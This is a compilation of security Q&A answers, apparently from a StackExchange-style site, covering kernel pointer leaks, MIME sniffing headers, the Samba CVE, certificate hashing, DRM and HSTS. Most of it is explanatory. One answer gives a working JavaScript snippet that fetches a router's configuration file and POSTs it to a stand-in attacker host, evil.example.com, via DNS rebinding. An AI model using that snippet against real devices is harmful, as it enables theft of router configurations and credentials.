Does printk() cause any security issues?

I'm asking myself if the function printk() is a security issue on Linux.

This depends on whether or not there are any printk() calls which may print unsanitized pointers. Generally, pointers will be sanitized when kernel.kptr_restrict is non-zero. This works because the identifier for pointers is %pK, which sanitizes pointers by default. However, there seem to be a lot of situations in which mistakes result in accidental pointer leakage, for example because some value is calculated from a pointer and printed, or because a typo results in %pk being used instead, which does not go through the same sanitization process. This is not unique to this function and can even happen in virtual filesystems like proc and sysfs as well. These infoleaks are not rare.

  When an attacker has user level access to the system, does it make his life easier if he has access to kernel pointers?

Well yes and no. The worst thing an attacker can do* with kernel pointers is discover the base offset of the kernel to break KASLR. Unfortunately, KASLR is already quite useless against local attackers, as has been shown time and time again (most often by Brad Spengler). It can be defeated either through infoleaks as mentioned above, or through a variety of timing attacks against most CPU architectures.

  It can be easily disabled through setting CONFIG_PRINTK as configuration flag of the Linux kernel. Should it be done on a highly secured system?

No. There is a better option. Instead of disabling printing, make it a requirement to have high privileges to read the kernel log buffer. This can be done by setting kernel.dmesg_restrict to 1. This both protects from pointers that happen to not get sanitized and leak into the syslog from being available to attackers, as well as hiding other potentially sensitive information that might get printed there.

* This is only true for stock kernels. If you compile your own kernel, especially if using RANDSTRUCT, knowledge of pointers becomes necessary for an attacker since it can allow pinpointing the actual offset of sensitive kernel functions.


Does X-Content-Type-Options really prevent content sniffing attacks?

Background. X-Content-Type-Options: is a header that is designed to defend against MIME content-sniffing attacks.  MIME content-sniffing attacks are a risk when you allow users to upload content (e.g., images, documents, other files) to your website, where they can be downloaded by other users.

As @Rook says, this has nothing to do with eavesdropping/capturing network traffic.

What attacks doesn't it prevent? Because X-Content-Type-Options: is only supported on some browsers, it does not protect attacks against users who use other browsers.  In particular, it is supposed on IE, Chrome, and Firefox 50.  See also What are the security risks of letting the users upload content to my site? for some other attacks it doesn't prevent, e.g., uploading of malware or unsavory content, uploading of content that exploit a vulnerability in the user's browser, etc.

What content type should be returned? You should return the appropriate content type for that file.  You should not allow users to upload untrusted content with dangerous content types.  For more details, please see the answers to the following questions:

Is it safe to serve any user uploaded file under only white-listed MIME content types?
Is it safe to store and replay user-provided mime types?
MIME sniffing protection
Why should I restrict the content type of files be uploaded to my site?
What are the security risks of letting the users upload content to my site?
How can I be protected from pictures vulnerabilities?
Using file extension and MIME type (as output by file -i -b) combination to determine unsafe files?

This topic has been extensively discussed and documented elsewhere on this site, so I'm not going to try to repeat all of the useful advice found there.

Update: I just learned that setting the Content-Type and X-Content-Type-Options headers appropriately is not enough for security.  Apparently, Flash ignores the Content-Type header, which could allow loading a malicious SWF, which can then do everything you'd do with a XSS.  (Sigh, stupid Flash.)  Unfortunately, no amount of whitelisting of file content types can stop this attack.  Consequently, it appears that the only safe solution is to host the user-uploaded content on a separate domain.


What is Federal and industry regulations PCI, SOX, GLBA, ISO 17799, HIPAA, CA1386?

These are all requirements and standards for security controls related to data security/privacy of sensitive information (personal, financial, health, etc). As the description says, they are mostly US federal (SOX, GLBA, HIPPA) or industry (PCI, ISO 17799) standards, although CA 1386 is a US state law.

Since the job posting mentions quite a few standards, my guess is they're looking for experience working in an industry with a regulated information security space. That would imply you have experience navigating a formal security program that tracks risks, controls, requirements, and exceptions/issues.

You can read about each if you're interested:

PCI
SOX
GLBA
ISO 17799
HIPPA
CA 1386


Is it possible to exfiltrate a router config file to server using csrf ajax?

I haven't tested it lately about the current protection level against it but an attacker might use DNS rebinding to send requests to the router and read it's responses.

Yes, you can do this using just xmlhttprequest. See my example below:

function downloadFile() {
    var oReq = new XMLHttpRequest();
    oReq.open("GET", "/html/management/downloadconfigfile.conf?RequestFile=/html/management/cfgfile.asp", true);
    oReq.responseType = "blob";

    oReq.onload = function (oEvent) {
        var blob = oReq.response;
        alert("received");
        var oReqSend = new XMLHttpRequest();
        url= "https://evil.example.com/Upload";
        oReqSend.open("POST", url, true);
        oReqSend.onload = function (oEvent) {
            alert("sent");
        };

        alert("sending1");
        oReqSend.send(blob);
        alert("sending2");
    };

    oReq.send();
}

https://evil.example.com/Upload is the URL where the file will be sent to. The DNS-Rebinding-Attack would be with the IP 192.168.1.1.

This example is a modified version of the code at https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data


The ISP can intercept traffic in any number of ways, from a proxy (like you suggest, though I would suspect a transparent proxy), to a span port on a switch. If they have control over a link in the chain between you and the Internet, they can see anything that passes through it. If it's encrypted data, the ISP can use an SSL inspector (like this), but that would be pretty obvious to you.

In reference to filtering, if your ISP is filtering based on the content of the website you're viewing (keywords, for example), or the destination (host, http resource), then making that request over SSL will inhibit their ability to see what you're requesting and from whom. They can still see your initial DNS request and the IP address that your request is sent to on the network layer however.


Downloaded MailMergePro file seems to have virus attached

I would exercise caution here, although this could be a false-positive, considering that a lot of the other scanners on the site didn't pick anything up.

TR/Dropper.MSIL.Gen, according to Avira's website, is a generic name for specific Trojans that Avira detects that are currently not specifically named.

In this case, I would run this in a virtual machine or on a test machine that doesn't have physical access to your main computer. Install the program, then run a full system scan with various virus/malware scanners, such as Malwarebytes, ESET, Avast, etc..

I rarely recommend this, but you could also try downloading it from other reputable download sites, although your download experience may vary.


What makes me vulnerable to CVE-2017-7494?

You are exposed to this vulnerability only if,

You are using Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4
Intruder have a valid credential for accessing samba server
You have a shared writable folder which can be accessible by intruder so that he can save the payload (shared library).

So, if the above requirements met then the intruder can exploit the vulnerability.

According to RedHat,

  A remote code execution flaw was found in Samba. A malicious authenticated samba client, having write access to the samba share, could use this flaw to execute arbitrary code as root.


Anytime you find content that you didn't create and that looks dubious and unfamiliar, it's worth while to suspect a breach.  Socially, when you think about it, even in a non-computer environment, Secret Santas are a bit of a security hack - hiding things in places that are yours (to some extent) and yet that you didn't give explicit permission to enter is a typical pattern in much of Secret Santa gift giving.  The difference, at least in the real world, is that Secret Santa gifts are intentionally non-destructive, non-malicious and hopefully well intentioned if not beneficial.

When it comes to computers - if you aren't a forensics expert, it's pretty hard to tell what's happened to your system.  Worse yet, doing a lot of research can destroy any evidence that would be useful if law enforcement is needed.

A self destructing file that appears saying something cute and social is generally a decently typical pattern for malicious software, so it's fair to be concerned.

So... for a next step:

can you think of an explainable case for someone to have been pranking you or being an honest Secret Santa?  If so, talk to them an ask.  These days, tampering with computers is a bit creepy and it's worth it to point that this isn't such a great way of delivering what was hopefully meant in the spirit of fun.
if you can't find or think of a friendly culprit - report the issue to whatever security group you have available - when in doubt, an IT help desk is a fine place to start, or an information security group.  This is a do not pass go, do not mess with your computer type scenario - leaving your computer running, and untouched while asking for help is really the best approach - even for a semi technical user.
if this is a personal system, check into common hacks that match the behavior you've seen with google, and ponder the idea of well-reputed anti-virus software.  Also, it may be worth a trip to tech support if you see odd behavior.


Why don't fingerprint authentication systems don't store 'hashes'?

Password authentication systems check for full equality. If you make a typo in your password, you will not be authenticated*.
You cannot check a fingerprint for full equality; it's a 'scan' and there will always be some minor differences: perhaps you have a small cut in your finger, or you put your finger slightly rotated on the device and the digitalization process displaces a few pixels.
A hash is designed to implement the avalanche effect; a small change in the input causes a large difference in the output. That means that two slightly different passwords or two slightly different fingerprints produce two completely different hashes. If you have the hash of a fingerprint, there's no way of verifying whether it matches a slightly different fingerprint.
*: such a verification system would work by verifying the hash with not only the hash of the actually entered password, but also the hash of all possible typos.


Why can't reverse engineering be automated?

Short Answer

It's absolutely possible, but the accuracy and readability is a completely different matter. One clarification to be made: Reverse Engineering is not Decompiling.

Long Answer

Reverse Engineering is generally the process by which you take something (anything really) apart to see how it works.  Disassembling is when you take a binary formatted file and interpret the machine code into is assembly code.  Decompiling is interpreting the assembly code into a higher level language.

I believe your question is really, Why can't decompiling a program be automated?  Well it can be!

There are several different Java Decompilers.  Java byte-code is completely reversible due to its architecture independence.  What becomes tricky is decompiling a language like C.  Hex Rays does provide a C decompiler, but C is a complicated language.  There are 10 different ways to accomplish the same task.  What can be done in 20 lines, can be done in 3, or 10.  It's the interpretation of the language that makes the automation of decompiling C difficult.

Sure you can decompile C to its most simplistic instructions.  Then you get lines like **(*var1) = 3; or (*bytecode)(param1) which can be a call to a function pointer.  What's worse is that you must remember that these are still just an interpretation.  I can't stress that enough.  What if the interpretation is wrong?  This is something you have to worry about at the disassembly level, but at least there are a reasonable amount of outcomes for 5-6 bytes for an instruction.  Now you have to interpret 15-20 bytes in order to figure out a function call or a for-loop.  If there are anti-reverse engineering techniques then it makes the interpretation even more difficult.

Context plays a huge role.  What's the difference between a function pointer, a char * pointer, and a uint32?  Absolutely nothing, except the context in which its used.  Compiler optimizations might use __fastcall rather than __stdcall.  Which means now you have to interpret where parameters to functions are going to be; either on the stack or in a register?  Inline functions, macro's, #defines will all become part of a larger subroutine.  There's no real way to interpret those types of contexts.


Is using "SHA-256 with RSA-2048 Encryption" a secure certificate hashing algorithm?

The technical answer is actually "no, because SHA-256 with RSA-2048 Encryption is not a certificate hashing algorithm. However, SHA-256 is a perfectly good secure hashing algorithm and quite suitable for use on certificates, and 2048-bit RSA is a good signing algorithm (signing is not the same as encrypting). Using 2048-bit RSA with SHA-256 is a secure signing scheme for a certificate. Why would you think otherwise?

SHA-256 is a member of the SHA2 family of secure hash functions, and there are not currently any cryptographic weaknesses publicly known for SHA2. It might be less secure than SHA-512, but 256 bits is already completely impractical to brute force (we're talking about timeframes of hundreds of years even with the resources of a nation-state and assuming Moore's Law continues on track, or billions of years for currently-established technology). The only viable attacks would require finding a weakness in the hash algorithm itself, and it's not necessarily the case that SHA-512 would be more resistant to such an attack than SHA-256. There is a new SHA3 standard, but it's not yet widely implemented so your browser probably wouldn't be able to verify the certificate's signature at all if they used SHA3 in the signing algorithm.

RSA is a current standard for public-key cryptography, and a properly-generated 2048-bit RSA key is strong enough to resist factoring for decades. You could use a 4096-bit key if you want to (it'll take a lot longer to generate, and slightly longer to use, but once the certificate's signature is verified that doesn't matter anymore), and that would take even longer to break. However, neither certificate is valid for more than two years anyhow. If you want a signature you can trust for 30 years or more, you might want to use something stronger than 2048-bit RSA, but for now that's fine.


What's more vulnerable; the data or the DBMS?

No, a database is not always involved.
Let's come up with a random service that happens to be moderately popular. A fairly standard set of components includes:

a user-facing client (webpage or app)
an API for programmatic access
a backend to serve clients (API and user-facing)
a database for the backend to store data
backups of the database
data exports to third-parties for analytics or even reselling

Every single component can be the source of a data leak.
Here are some examples how (this is by no means comprehensive):

User-facing client / programmatic API:
Let's say there's an endpoint on the server to return a logged-in user's private profile (not normally publicly visible). The endpoint is just /getprofile?userid=12345 (where 12345 is my user ID).
Because the developers forgot their coffee that day, they figured they don't need to perform any checks on it; the user ID is generated by them, there's no reason for anyone out there to know what it is. So just return the profile for 12345 no matter who is asking.
Because they forgot their coffee on the day they were writing their schema, they also made those user ID monotonically increasing, as opposed to random.
The attacker can now start dumping the private profile of every single user in the system by hitting /getprofil?userid=1 and increasing by one until it starts telling me the user does not exist.
The same applies to a programmatic API that doesn't perform the correct authentication/authorization checks.

Database:
The under-caffeinated developers have some good friends: the sleep-deprived database admins. Because security is hard, they just deployed their database without secure communication (plaintext as opposed to TLS), and using either simple passwords for the admin users (because they're hard to remember), or even worse: the default username and password.
This database is also accessible to the world because some backends outside that datacenter need to access it. Any attacker can now connect to the database and try the default username and password. Once in, they can perform any query they like on the database.

Backups:
The database admins know problems sometimes occur, so they setup regular backups of the entire database. Because they found a neat script that does it for them, they save those backups to an S3 bucket.
But alas, they had a really late night and figure they'll worry about access permissions on the S3 buckets tomorrow, it'll just stay open for now, it's not like anyone is going to find that bucket.
Alas, the attacker has found the publicly-readable bucket with a convenient dump of the entire database. All they need to do is a quick copy of everything.

Third-parties:
Analytics is hard, it would be a lot better to export our entire database to a third-party that has really shiny dashboards and graphs. We'll just setup a pipeline to save all DB modifications straight to that third-party.
Oops, that third-party is just as red-eyed as our developers and database admins, they forgot proper security in their database, or backups. The attacker can now access our data due to someone else's carelessness.

Conclusion:
These are just some naive scenarios on some of the possible components, yet they happen constantly. You'll notice that none of them involve breaking through strong levels of security or require insider knowledge. They are all attacks that can be carried out by low level security threats.
Not all of them involve a database (eg: the API attacks don't care how the data is stored), and most of them never have to deal with the database software itself. When they do, it's a question of database configuration, not the software itself.


OWA + AD Lockout Policy: Quite the Mixture

There are a variety of ways that this can be mitigated, but here are a couple.

Two-factor authentication : something you have (a SecurID fob for instance) and something you know (a password)
A PowerShell script to parse logs and add firewall rules based on a number of failed login attempts located in the Event Viewer
A product such as Messageware OWA Guard which will monitor your OWA instance and identify potential risks in real-time (full disclosure : I have no experience with this product and cannot vouch for its effectiveness)


What are the privacy differences with Azure trustee delegates in China, Germany, and other locations?

Specifically for the German one, Microsoft is an American company, therefore subject to American laws. Among many other things, such laws include the possibility to request information from an American company stored on their systems, whether or not those systems are on American soil.

I'll not go into all the details, suffice it to say that the way such information is requested and retrieved (e.g. without judicial oversight or informing the person the data concerns) often clashes with European privacy laws. Within the EU, Germany has some of the toughest privacy laws.

So the idea is that although it's still full Azure with everything you might expect, in the background it is not Microsoft operating the datacenter but the local German partner which means the data in the data center is not subject American laws.

I imagine the same applies to other regions as well, China has data localization laws for example.

For a US person, it might be useful to use one of these data center if you are processing personal data of EU residents, to ensure you comply with EU privacy laws or simply inspire trust towards your EU clients.

From a privacy law perspective, you should indeed assume the lowest common denominator.

Opting in or out of a given data center: business or legal requirements I would say.


SSL Certificate conversion from PFX to PEM - our SP says files are wrong

We have to give our Certificate

May we assume you're providing the web hosting provider your SSL key and certificate?

Indeed they will need

key file - content of the PRIVATE KEY (including the -----BEGIN PRIVATE KEY----- and end tag lines)
certificate file - content of the CERTIFICATE (including the tag lines)
Issuer (Go Dady) signing certificate (can be combined in the certificate file from the point 2).

So maybe they are missing the 3rd file.

  Would there be difference between the above and three separate .CRT
  and .KEY files they ask for?

In theory - they could extract the private and public key from the text you've copied and download the issuer's certificate (publicly available). However - seems they let you do your complete homework and provider them all the correct files.


If your smart card supports PKCS#11, you have a PKCS#11 library/smartcard driver for your card. This library must export the PKCS#11 C_GetFunctionList function. You can link the library to the command line tool you want to develop and use the PKCS#11 API (PKCS#11 standard) to perform the authentication.


Many Websites, one server, which port to use?

In your example the target website is determined by the HTTP Host header, not the TCP port.

On the transport layer it is indistinguishable whether you want to connect to pentest.com or johnsbaking.com. (I assume you implicitly choose the default port which is either 80 for HTTP or 443 for HTTPS.)

Your web browser sends the target host name on the application layer as part of the HTTP protocol. This information is communicated via the Host header. How the header works is detailed in this answer. So instead of setting a different port, you need to exchange the IP with the host name in metasploit.


If TLS is being used, does firewall decrypt the traffic before relying it to the client

Traditionally, no, for most definitions of "firewall."

  or does it relay crypted traffic to the client which then somehow decrypts it?

It just relays the packets, and the client decrypts.

I say "Traditionally" because there are other devices - reverse proxies, load balancers,  Intrusion Prevention Systems - which will decrypt the traffic and either pass along clear text or re-encrypt for the final hop to the client.  And many "Firewalls" today are hybrid devices which wear some of those devices' hats as well.

But in general, a "firewall" should just pass traffic, and doesn't manipulate the encryption.


I see entry level security skills as a problem for industry - what can we do about it?

One of the things I've been most impressed by in the last few years is the new focus on security as being a balance between cost and risk.  A security solution should not be implemented if the cost exceeds the risk of exploit, and both costs and risks can be hard to diagnose.

The thing I like most about this core concept is that it basically mandates the idea that there is no "one size fits all" solution.  Designing security is as much a craft as designing a solution or a peice of software.  It offers a middle ground between (1) clueless and (2) nazi.

When presenting it to an audience new to security, I like to put it out there as a challenge - the challenge is making something that is secure within reason for the functionality it must provide to meet it's goal.  Geeks like puzzles and this is a pretty cool puzzle when you get down to it.

If I had all the funding and time I could wish for, I'd craft a security concentration for both undergrad and grad programs that introduced security topics as a set of puzzles.  I'd start with "what was the problem that caused this technology to be used?", and then "how does the technology work?" and "what problems can it cause?"

As far as the questions go:

What do you see students and graduates interested in?

They want meaningful work and a chance at a good job in the industry.  I think security can be presented as both things.  If you view security not as saying "no" all the time, but as coming up with clever solutions that let people get their jobs done efficiently but with little risk to the business, then I think the work is exceedingly meaningful.  Also, I've never lacked for a job as a security nerd, so I'm always glad to speak from personal experience on that one.

What would work in your company / university / organisation?

I'm probably an outlier - I work for a defense contractor.  Security is such a part of our corporate culture that I have problems envisioning the world without it.  The thing I find most often, though, is that geeks suck at rote process - and there's a LOT of aspects of security (especially physical security) that requires slavish adherance to security details.  To a point, I can motivate people to figure out ways to "engineer-proof" things - for example - "what can you do to make sure that you lock up the secure thing in the big metal safe at the end of the night?"  Sometimes folks come up with really creative solutions.

What is the biggest win for you?

Personally, I love the challenge. I like making secure things work, and security is an added part of the fun.  I also really, really like seeing the light come on for newer engineers when they start thinking like a security nerd.  And one of the things I like about my corporate culture is that helping other people to think through security for themselves is a big part of the job and the social contract.

What are you fed up with hearing about?

I'm a little fed up with being told the rules are "stupid".  They may be tedious, but if you think they are stupid, then you generally aren't seeing a big enough picture.

Sadly, on the other end, I'm also tired of being told that the mandates of a highly secure working environment mean that someone can't move quickly.  Secure does not equal slow, especially not when I wonder if the only reason for slowness is red tape.


Printing document on usb drive with confidential information on multi user computer

You can just use lpr to send the PDF file from USB stick directly to the printer spooler. But then it gets ugly: The printer spooler (cups) itself first will have a copy of this file somewhere below /var/spool/cups. Depending on the setup and printer driver used there will be further processing of the PDF file to translate it into something the printer then can understand (i.e. PCL or others). This processing will likely also create additional files, maybe below /var/spool/cups too but maybe also in /tmp or /var/tmp or other places.

Most of these files will be deleted once the processing or printing is done which means that there is no way to access these specific files afterwards for secure deletion. All you could try to do is to make sure nothing on the system at all can be undeleted by using tools like sfill. It might be though that the system is specifically configured to keep copies of some of these files for audit or debug purposes. In short: it is a mess.

And this already assumes that the other users on the system who all have root access will not have tampered with the system in order to find out what others print. In my opinion this kind of assumption is questionable since users who are willing to put lots of effort (and luck) into restoring deleted files are likely willing to change the configuration to keep files "for debugging printer issues" too.

In other words: don't print sensitive data on a system where you fear that other users on the system might be interested in what you print and have the capabilities (root access) to find out.


It all depends on the scope of the audit.

If the audit is purely of the code (ie give the auditor a copy of the code, they audit it and return a report) then it could be very easy to tamper with it after the fact.

If the audit is a bit more comprehensive, and includes the code development, test and promotion to live environment procedures, then you should be able to rule out most opportunities for tampering to take place.

If you additionally audit the ongoing change management process, and carry out regular confirmation checks on live code then you give yourself an even greater level of assurance that the code in live is the code developed and tested, and that it is appropriate for purpose.

This is why limited scope audits can be essentially useless, aside from getting a tick in the box (which may be useful...)


I'm not sure that there's any single place that lists all of the vulnerabilities related to DNS, but here are some pointers you might use for further research.

General DNS Weaknesses

One broad category of DNS vulnerabilities would be at the protocol- and system-layer.

The wikipedia article on DNS lists security issues with the system.
A particular vulnerability is cache poisoning.
You can learn about DNSSEC as a countermeasure against some of the weaknesses in the protocol.
Here's a list of notes on DNS that point out several system-level weaknesses.
DNS is described in numerous RFCs. (That list is not up to date. You can find newer RFCs by looking at the references section in a recent DNS RFC.) Modern RFCs include a "Security Considerations" section that discusses security aspects related to the topic of the RFC.

Specific Vulnerabilities in DNS Implementations

Another broad category of vulnerabilities are bugs in specific implementations of DNS. There have been so many bugs in ISC Bind, for example, that this attack vector is much more likely to be successful than an attack at the system level (this depends on the target and the environment, though).

Search the National Vulnerabilities Database. (E.g. ISC Bind)
Search at SecurityFocus
Look for exploits in the exploit database.
Metasploit and various other scan tools may be able to automatically detect vulnerabilities on unpatched servers.

Complex Interactions

Studying DNS in a vacuum isn't really enough, though. DNS interacts with other protocols in interesting ways.

For example, if your network doesn't protect against rogue DHCP servers, it may be possible for an attacker to run a DHCP server that hands out a lease that points to a rogue DNS server. The DNS server then returns whatever addresses the attacker wants -- substituting his own address for paypal.com, or rerouting email, for example.


What are some reasons a company should not go with single sign on?

Unless the question is about a specific SSO provider, the answer is pretty simple. If SSO is implemented for your E-Commerce(EC) and Online Clinical Test (OCT), it only implies that both applications use the same identifying mechanism to identify a user. It does not imply that users would be given access to both sites by default. You should be having authorization controls which restricts users from accessing systems.


Yes, once they have all the data, they have all the data.  Period, end of story.

Now, for the fuzzier part, most smart cards take great care to make it difficult to do so.  Some will have a PIN interface that erases the card after N failed attempts.  Some will do things such as put powdered aluminum right over the top of the memory chip, so that any attempt to mill your way into the chip to directly read the memory will melt the chip.  But it's only designed to increase the difficulty of such exercises.

If you think about it, if you could secure something perfectly, defusing bombs would be a much more difficult art, wouldn't it!

I read an article a few years back that did a side-channel attack on a smart card by measuring the microamp power draw changes as instructions were executed.  They were able to back out the AES key by looking at the length of loops that got executed.

In short, the rule is always "if they have physical access to your data, nothing can prevent them from using it."  This will hold true up to quantum style cryptography (which could turn the data to noise if you put the wrong password in).


Is this a hot issue for mostly security reasons [...]

Not yet. There is no practical published attack yet. But it's in the post. The gradual transition now is better than the transition from the earlier MD5 hashing algorithm to SHA1. Back then there was no explicit deprecation strategy AFAIK and there actually were evil attacks that used MD5-collisions. (Flame) We shouldn't wait until the same thing happens with SHA1.

  Is it needed to organise a new key ceremony for creation of a new "SHA256" chain ? Even for offline chain (root and subroots) ? Re-issuing new end entities certificats with SHA256 ?

Yes. Offline or not doesn't matter. The cert chain is only as strong as the weakest link. (Excluding the root, whose signature does not matter.) And also: A CA cert is always a juicier target for an attack than an end entity certificate.

  Introducing a sliding period for key renewal ?

Yes. Don't issue anything with SHA1 past the mentioned cut-off dates. If you do issued SHA1 up to the cut off date do only with written justification and manager sign-off.


Does KASUMI (A5/3) Related Key attack apply to 3G or other mobile providers?

To the best of my knowledge, the related-key attack on KASUMI is not relevant to the security of 3G, UMTS, GPRS, GSM, or any other cellular system I am familiar with.  To the best of knowledge, it poses no danger to the security of those systems.

Related-key attacks on a block cipher are only a problem if the block cipher is used in a way that allows an attacker to gain partial control over the key to the block cipher (in a certain very specific way).  Normally, well-designed protocols and systems do not use block ciphers in a way that would allow related-key attacks.  As far as I can tell, cellular systems do not seem to use KASUMI in a way that would allow an attacker to mount a related-key attack on KASUMI.  Therefore, the existence of related-key attacks on KASUMI seems to be irrelevant to the security of 3G, GSM, or other cellular systems.

The authors of the related-key attack on KASUMI (Dunkelman, Keller, and Shamir) make no claim that their attack poses any danger to deployed cellular systems.

Unfortunately, the media got this all wrong, as far as I can tell.  I remember seeing a bunch of stories in the press saying that this was an embarrassment for the cellular industry and means you shouldn't trust 3G systems.  Neither of those conclusions was warranted, as far as I can tell.

See also sniffing/recording GSM 3G signals.

Disclaimer: I have not analyzed the 3G, UMTS, GPRS, GSM, or other cellular standards in depth and cannot guarantee that they are free of security risks.  I can only say that I am not aware of any way that the related-key attack on KASUMI might endanger deployed cellular systems.  I don't mean to disparage the research of Dunkelman, Keller, and Shamir in any way.  It is good research; I just want to help folks understand its practical implications.


No password root accounts of an entire laboratory!

Oh dear. Sorry, but you goofed. You made a technical mistake and a legal mistake. You may be in trouble. Act carefully.

The legal mistake is that just because you can take control of a machine, doesn't mean you're allowed to. Only the proper authority is allowed to decide who has the root password. From my understanding of what you wrote, you are not the administrator of these machines, merely someone who uses them for your job. By changing the root passwords, you've removed some people's access to these machines. These people may legitimately be angry.

Advising you how to fix this mistake is off-topic here (try Academia if you want advice over the Internet). One way or another, you should go and tell the person in charge of these machines what you did. The person in charge may be a system administrator who should know what they're doing, or they may someone in an administrative position (e.g. dean of studies) who doesn't know the technical aspects. Either way, they set the policies: they decide who is allowed to log in on the university computers, not you. You may of course suggest changes, especially if the person in charge is non-technical, but they get the final word.

You made a technical mistake with the computers where the weak password didn't work. You never checked whether they had a root password. Nothing in what you did implies that the root account doesn't have a password! When you reboot in recovery mode, you get a root shell, there's no need for a password. When you run the passwd command as root, you aren't prompted for the old password: you're root anyway, so it would be pointless. With the other computers, you can still restore the old password by running passwd again. But with the computers where you used recovery mode, it's too late: the only way to restore the old password is to find a backup, or someone who knows the old password. There's still a chance that /etc/shadow- contains the old password: it's a backup of /etc/shadow that the passwd command creates automatically. But that's only helpful if there's a machine where you only ran passwd once, not if you ran it repeatedly.

You had two complaints about the security of these machines. Both complaints may or may not be legitimate depending on what security properties are expected.

Some machines had a weak root password. That may or may not be a problem. Is it a problem that people can be root on machines that are only used for student labs? That would depend on how the machines are used. If the machines are connected to the outside and the students enter their own credentials, then yes, it's a problem and you should raise it. On the other hand, if the machines are isolated and are wiped before doing anything that's graded, then it doesn't matter. Everybody may as well be root.
Anyone can take control of the machines if they have physical access. That is unavoidable. If someone has physical access to a computer, it's their computer. There may be a good reason to make it more difficult, at least to require opening the case (meaning, recovery mode should be protected by a password and booting from USB should be disabled). But once again it depends what the computers are used for.

You need to discuss this with the people who use the machines. You can't just barge in there and lock them out. Do voice your security concerns, but also listen to the people who know what's going on, and don't go behind people's backs.


Check the origin header server-wide in IIS to prevent CSRF through the IIS configuration change Only

get a variable out of 'Host' 'Core'
https://docs.microsoft.com/en-us/aspnet/core/host-and-deploy/iis/?view=aspnetcore-3.1

get the cfg domain, from within server
https://stackoverflow.com/questions/40020135/how-to-get-the-current-domain-name-in-startup-cs

I'm unsure how it will look like in code yet. I'm guessing u don't want to add anything to bin directory.

to check client get IP https://stackoverflow.com/questions/735350/how-to-get-a-users-client-ip-address-in-asp-net

New chrome and Firefoxes and Edge will do check for your, but old ones, its up to your Javascript and C# to do the rest I think.


DRM systems tend to all work according to a variation of the same basic principles:

Contents are encrypted with a symmetric cryptography algorithm, such as for example AES-128.
The content key, along with a machine-readable description of usage rights (such as "play for 48 hours") is delivered to the user's device upon content purchase.
This key+rights bundle is often called a "license", and is itself encrypted with public key cryptography. This implies that the user device possesses the private key to decrypt this license.
Upon content playback, there is necessarily a "trusted" piece of software running inside the playback app - in this example iTunes. "Trusted" is in quotes because Apple trusts it, not you!
This piece of software, sometimes called an "agent", is in charge of decryption and - importantly - enforcement of the usage rights. In this example, it will perhaps self-destroy the key after 48 hours.
Agents, due to their nature, usually come heavily armored against attacks, to defeat reverse engineering attempts: decompilation will yield garbage results, debugging is made impossible, etc.

So... To answer your question: yes, the content and the decryption key are both on the device (at least for a while) but there's a machinery working against any attempt to put them together. People have occasionally succeeded in the past, but the bar is getting higher all the time.


Who defined the term "fully homomorphic encryption"?

Also in 2009, Gentry published Fully Homomorphic Encryption Using Ideal Lattices, defining fully homomorphic encryption like so:

  Definition 2  (Fully Homomorphic Encryption).
  E
  is fully homomorphic if it is homomorphic for all circuits.

Yet, he hints at Rivest et al for the term:

  Rivest et al. [54] asked
  a natural question: What can one do with an encryption
  scheme that is
  fully
  homomorphic: a scheme
  E
  with an effi-
  cient algorithm
  Evaluate
  E
  that, for any valid public key pk,
  any
  circuit
  C
  (not just a circuit consisting of multiplication
  gates), and any ciphertexts
  ψ
  i
  ←
  Encrypt
  E
  (pk
  ,π
  i
  ), outputs
  ψ
  ←
  Evaluate
  E
  (pk
  ,C,ψ
  1
  ,...,ψ
  t
  )
  ,
  a valid encryption of
  C
  (
  π
  1
  ,...,π
  t
  ) under pk?

citing "On Data banks and privacy homomorphisms" which, as you noticed, does not use the term.

Another publication by Boneh et al, "Evaluating 2-DNF Formulas on Ciphertexts" from 2005 does not use the phrase. Neither does "Evaluating Branching Programs on Encrypted Data" by Ishai et Paskin from 2007.

Also, as the term is self-explanatory to a fair degree, as the previous models were merely partially homomorphic, Gentry might use the term as-is without explanation, but instead chooses to clarify:

  We propose a solution to the old open problem of con-
  structing a
  fully homomorphic encryption scheme
  . This no-
  tion, originally called a
  privacy homomorphism
  , was intro-duced by Rivest, Adleman and Dertouzos [54] shortly af-
  ter the invention of RSA by Rivest, Adleman and Shamir
  [55].

Given that the term was not used in papers relevant to the subject before Gentry's publication and that the definition he gives has no source, it is likely that Gentry coined the term.


JavaScript resource files are available without authentication - is this a security risk?

So I'm guessing the drive of your question here isn't whether the JavaScript files are obfuscated or not but rather whether they're accessible pre-authentication?

If that's the case then I'd say it shouldn't be an issue as the JavaScript is sent client-side and therefore no sensitive information should be embedded in it.

With that said, as a hardening measure I generally recommend not providing any information to an attacker that I don't have to , so I would restrict access to post-authentication wherever possible.  Things like Angular apps can disclose a lot of information like valid application paths which is kind of useful to attackers in trying to find other issues.

In terms of how to achieve this, I'd suggest that you could separate the templates of the site, such that the main Angular (or similar) app is accessed post-authentication only.


HTTP not being converted to HTTPS with HSTS

To cite from the source code you mention:

354  // Other Google-related domains that must use an acceptable certificate
355  // iff using SSL.
     ...
361  { "name": "doubleclick.net", "include_subdomains": true, "pins": "google" },

This means that the certificate is pinned iff the site is served over https. It does not mean that the site needs to be served over https. This is different for other domains where the force-https attribute is set:

264  { "name": "accounts.google.com", "include_subdomains": true, "mode": "force-https", "pins": "google" },

EDIT: based on the source code of Chromium  (function TransportSecurityState::GetStaticDomainState in net/http/transport_security_state.cc) I'll try to explain the information which can be seen in chrome://net-internals/#hsts and how it relates to the static information from net/http/transport_security_state_static.json using the example doubleclick.net:

static_sts_domain: doubleclick.net
static_upgrade_mode: OPPORTUNISTIC

OPPORTUNISTIC is the default mode (STSState::MODE_DEFAULT). This means that it does not force HTTPS. The default mode is used since no explicit force-https setting was given in the configuration.

static_sts_include_subdomains: true

Since it does not enforce https this setting does not matter. But the value might be caused by the configuration of include_subdomains shown above even if this configuration line does not include force-https.

static_sts_observed: 1476162000

This is the build time of the static HSTS/HPKP list, i.e. 2016/09/04 in this case.

static_pkp_domain: doubleclick.net
static_pkp_include_subdomains: true
static_pkp_observed: 1476162000
static_spki_hashes: sha256/IPMbDAjLVSGntGO3WP53X/zilCVndez5YJ2+vJvhJsA=,sha256/7HIpactkIAq2Y49orFOOQKurWxmmSFZhBCoQYcRhJ3Y=,sha256/h6801m+z8v3zbgkRHpq6L29Esgfzhj89C1SyUCOQmqU=

These are the information about pinning. These have a direct relation to the settings shown above (i.e. include_subdomains and which pins should be used).


What advantage would someone gain by installing my root certificate?

